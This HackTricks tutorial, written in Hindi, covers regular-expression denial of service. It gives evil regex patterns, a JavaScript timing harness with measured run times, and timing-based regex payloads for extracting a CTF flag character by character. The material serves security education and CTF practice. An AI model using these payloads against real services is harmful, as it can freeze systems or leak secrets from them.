Regular expression Denial of Service - ReDoS

Regular Expression Denial of Service - ReDoS

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Regular Expression Denial of Service (ReDoS)

नियमित अभिव्यक्ति सेवा (ReDoS) उस समय होती है जब कोई व्यक्ति नियमित अभिव्यक्तियों (टेक्स्ट में पैटर्न खोजने और मिलान करने का एक तरीका) के काम करने के तरीके में कमजोरियों का फायदा उठाता है। कभी-कभी, जब नियमित अभिव्यक्तियों का उपयोग किया जाता है, तो वे बहुत धीमे हो सकते हैं, खासकर अगर वे काम कर रहे टेक्स्ट का टुकड़ा बड़ा हो। यह धीमापन इतना बुरा हो सकता है कि यह टेक्स्ट के आकार में छोटी वृद्धि के साथ बहुत तेजी से बढ़ जाता है। हमलावर इस समस्या का उपयोग करके एक कार्यक्रम को बना सकते हैं जो नियमित अभिव्यक्तियों का उपयोग लंबे समय तक सही ढंग से काम नहीं करने देता है।

समस्यापूर्ण रेजेक्स नैव एल्गोरिदम

विवरण की जांच करें https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS

शैतानी रेजेक्स

एक शैतानी नियमित अभिव्यक्ति पैटर्न वह है जो क्राफ्टेड इनपुट पर अटक जाता है और डीओएस का कारण बनता है। शैतानी रेजेक्स पैटर्न आम तौर पर पुनरावृत्ति और पुनरावृत्ति या पुनरावृत्ति के साथ समूहबद्धता शामिल करते हैं। कुछ शैतानी पैटर्न के उदाहरण हैं:

  • (a+)+

  • ([a-zA-Z]+)*

  • (a|aa)+

  • (a|a?)+

  • (.*a){x} जहां x > 10

इन सभी को इनपुट aaaaaaaaaaaaaaaaaaaaaaaa! के लिए संक्रमित किया जा सकता है।

ReDoS पेलोड

ReDoS के माध्यम से स्ट्रिंग एक्सफिल्ट्रेशन

एक CTF (या बग बाउंटी) में शायद आप नियमित अभिव्यक्ति (ध्वज) के साथ मिलान किए जाने वाले संवेदनशील जानकारी को नियंत्रित करते हैं। फिर, यदि एक नियमित अभिव्यक्ति मिलता है और अगर नहीं मिलता है तो पृष्ठ जम जाएगा (समय समाप्ति या लंबी प्रसंस्करण समय) तो यह उपयोगी हो सकता है। इस तरह आप स्ट्रिंग एक्सफिल्ट्रेट कर सकेंगे अक्षर द्वारा अक्षर:

  • इस पोस्ट में आप इस ReDoS नियम को पा सकते हैं: ^(?=<flag>)((.*)*)*salt$

  • उदाहरण: ^(?=HTB{sOmE_fl§N§)((.*)*)*salt$

  • इस व्रिटअप में आप इसे पा सकते हैं: <flag>(((((((.*)*)*)*)*)*)*)!

  • इस व्रिटअप में उन्होंने इस्तेमाल किया: ^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$

इनपुट और रेजेक्स को नियंत्रित करने वाले ReDoS

निम्नलिखित ReDoS उदाहरण हैं जहां आप इनपुट और रेजेक्स दोनों को नियंत्रित करते हैं:

function check_time_regexp(regexp, text){
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}

// This payloads work because the input has several "a"s
[
//  "((a+)+)+$",  //Eternal,
//  "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$",   //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))

/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/

उपकरण

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated